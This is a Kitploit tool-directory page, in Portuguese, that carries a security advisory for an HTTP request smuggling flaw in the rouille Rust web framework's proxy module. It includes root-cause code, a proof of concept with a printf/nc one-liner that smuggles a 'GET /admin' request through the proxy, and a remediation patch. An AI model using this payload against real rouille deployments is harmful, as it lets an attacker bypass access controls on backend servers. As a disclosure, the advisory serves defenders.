Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille- — Advisory de segurança: Contrabando de solicitação HTTP via dessincronização de Transfer-Encoding (rouille) | Kitploit
Ferramentas/GitHubGitHub/theopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança Web
GitHubtheopaid/cve-2026-67181-http-request-smuggling-via-transfer-encoding-desynchronization-rouille-

CVE-2026-67181-HTTP-Request-Smuggling-via-Transfer-Encoding-Desynchronization-rouille-

Advisory de segurança: Contrabando de solicitação HTTP via dessincronização de Transfer-Encoding (rouille)

Ver Repositório
3há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aviso de Segurança: Contrabando de Requisições HTTP via Dessincronização de Transfer-Encoding (rouille)

ID de CVE atribuído: CVE-2026-67181

Resumo

rouille::proxy::proxy encaminha o cabeçalho Transfer-Encoding do cliente para o backend inalterado, mas escreve o corpo da requisição que o tiny_http já decodificou. Nunca emite um Content-Length próprio. O backend é informado de que o corpo está em chunked e recebe bytes que não estão em chunked, portanto, é o cliente, não o rouille, quem decide onde o backend considera que o corpo termina.

Versões afetadas

URL do repositório: https://github.com/tomaka/rouille

Primeira afetada0.3.3 (2016-12-03), a versão que introduziu src/proxy.rs
Última afetada3.6.2 (2023-04-24), a versão atual
Não afetada0.3.2 e anteriores, que não possuem módulo de proxy
Corrigida emnenhuma versão corrigida no momento da escrita

src/proxy.rs é byte idêntico entre a tag 3.6.2 e o master atual. Somente aplicações que chamam proxy::proxy ou proxy::full_proxy são afetadas.

Severidade

CWE-444 (Interpretação Inconsistente de Requisições HTTP).

Pontuação base CVSS 4.0 6.3 (Média) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Modelo de ameaça

Um cliente remoto, não autenticado, que envia HTTP bruto para uma aplicação rouille que atua como proxy reverso. Nenhuma credencial ou interação do usuário é necessária.

O impacto depende do backend. Backends que fazem pipelining independentemente de Connection: close, e qualquer intermediário com pool de conexões entre o rouille e a origem, agirão sobre a requisição contrabandeada. Backends que respeitam Connection: close ainda acabam com um corpo de requisição diferente daquele que o cliente enviou e daquele que o rouille observou.

Causa raiz

tiny_http decodifica o chunked sempre que qualquer cabeçalho Transfer-Encoding está presente e descarta o Content-Length.

tiny_http-0.12.0/src/request.rs, linhas 149 a 159:

root@kitploit:~
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None
154      } else {

tiny_http-0.12.0/src/request.rs, linhas 218 a 221:

root@kitploit:~
218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

rouille/src/proxy.rs então encaminha todos os cabeçalhos exceto Connection e copia o corpo decodificado. Linhas 167 a 174:

root@kitploit:~
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

O Transfer-Encoding: chunked do cliente sobrevive à linha 171. A linha 174 escreve o texto simples que o Decoder produziu. Nenhum Content-Length é gravado, então o backend não tem mais nada em que se basear para delimitar e aplica a análise chunked ao texto simples escolhido pelo atacante.

Prova de Conceito

Passo 1. Inicie um listener bruto na porta 8001 para atuar como backend e mostrar os bytes que o rouille envia.

root@kitploit:~
nc -l 127.0.0.1 8001 | cat -v

Passo 2. Inicie um front end rouille na porta 8000.

root@kitploit:~
use rouille::proxy;

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Passo 3. Envie uma requisição corretamente codificada em chunked cujo corpo decodificado é, ele próprio, um stream chunked que termina imediatamente, seguido de uma segunda requisição. O chunk único tem 0x3d = 61 bytes de comprimento.

root@kitploit:~
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000

Resultado. O listener do passo 1 mostra o rouille anunciando o enquadramento chunked e depois enviando texto simples:

root@kitploit:~
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close

0

GET /admin HTTP/1.1
Host: x
X-Smuggled: yes

Um backend que respeita Transfer-Encoding: chunked lê a linha de tamanho do chunk 0, conclui que o corpo está vazio e analisa os 56 bytes restantes como uma nova requisição.

Impacto

A visão do backend sobre o corpo da requisição difere tanto dos bytes que o cliente enviou quanto dos bytes que o rouille leu. Qualquer componente a montante que registre, audite ou espelhe o corpo registra algo diferente daquilo sobre o qual o backend agiu.

Onde o backend faz pipelining apesar de Connection: close, ou onde um intermediário com pool de conexões está entre o rouille e a origem, os bytes finais tornam-se uma segunda requisição com método e caminho escolhidos pelo atacante.

O Content-Length do cliente também é encaminhado mesmo que o tiny_http o tenha ignorado, então um backend que prefere Content-Length a Transfer-Encoding obtém uma dessincronização CL.TE diretamente.

Remediação

Não encaminhe cabeçalhos de enquadramento que descrevem um corpo que o rouille já decodificou. Em src/proxy.rs, estenda o skip na linha 167:

root@kitploit:~
if header.eq_ignore_ascii_case("Connection")
    || header.eq_ignore_ascii_case("Transfer-Encoding")
    || header.eq_ignore_ascii_case("Content-Length")
{
    continue;
}

Em seguida, emita um enquadramento que corresponda ao que é realmente gravado: faça buffer do corpo e envie um Content-Length preciso, ou re-codifique-o em chunked e envie Transfer-Encoding: chunked você mesmo, antes do \r\n\r\n final na linha 173.

Baixar ferramenta